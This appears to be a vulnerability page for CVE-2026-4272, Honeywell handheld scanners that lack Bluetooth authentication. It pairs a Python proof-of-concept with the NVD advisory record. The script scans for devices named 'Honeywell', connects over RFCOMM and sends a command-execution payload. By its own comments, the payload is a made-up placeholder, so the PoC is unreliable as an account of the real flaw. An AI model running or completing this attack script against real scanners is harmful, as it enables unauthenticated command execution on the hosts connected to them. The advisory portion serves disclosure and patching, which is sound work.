CVE-2026-4272

import bluetooth # This is a conceptual PoC for CVE-2026-4272 # It demonstrates sending a payload to a vulnerable Bluetooth device # without authentication. def scan_for_target(): print("[+] Scanning for nearby Bluetooth devices...") devices = bluetooth.discover_devices(duration=8, lookup_names=True) for addr, name in devices: if "Honeywell" in name: print(f"[!] Found target: {name} at {addr}") return addr return None def send_exploit_payload(target_addr, port=1): # The specific payload and port depend on the proprietary protocol used. # This simulates sending a command execution request. # Example payload might be a specific byte sequence triggering the command. payload = b"\x00\x01\x02\x03CMD_EXEC:whoami" try: sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM) sock.connect((target_addr, port)) print(f"[+] Connected to {target_addr}. Sending payload...") sock.send(payload) print("[+] Payload sent successfully.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = scan_for_target() if target: send_exploit_payload(target)

{"cve": {"id": "CVE-2026-4272", "sourceIdentifier": "[email protected]", "published": "2026-04-05T22:16:01.697", "lastModified": "2026-04-07T13:20:35.010", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authentication for Critical Function vulnerability in Honeywell Handheld Scanners allows Authentication Abuse.This issue affects Handheld Scanners: from C1 Base(Ingenic x1000) before GK000432BAA, from D1 Base(Ingenic x1600) before HE000085BAA, from A1/B1 Base(IMX25) before BK000763BAA_BK000765BAA_CU000101BAA.\n\nThis vulnerability could allow a remote attacker within Bluetooth range of the scanner's base station has the capability to remotely execute system commands on the host connected to the base station without authentication. This issue has been assigned  CVE-2026-4272 https://nvd.nist.gov/vuln/detail/CVE-2026-4272 and rated with a severity of High. Honeywell strongly recommends that users upgrade to the latest version identified to resolve the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://https://nvd.nist.gov/vuln/detail/CVE-2026-4272", "source": "[email protected]"}]}}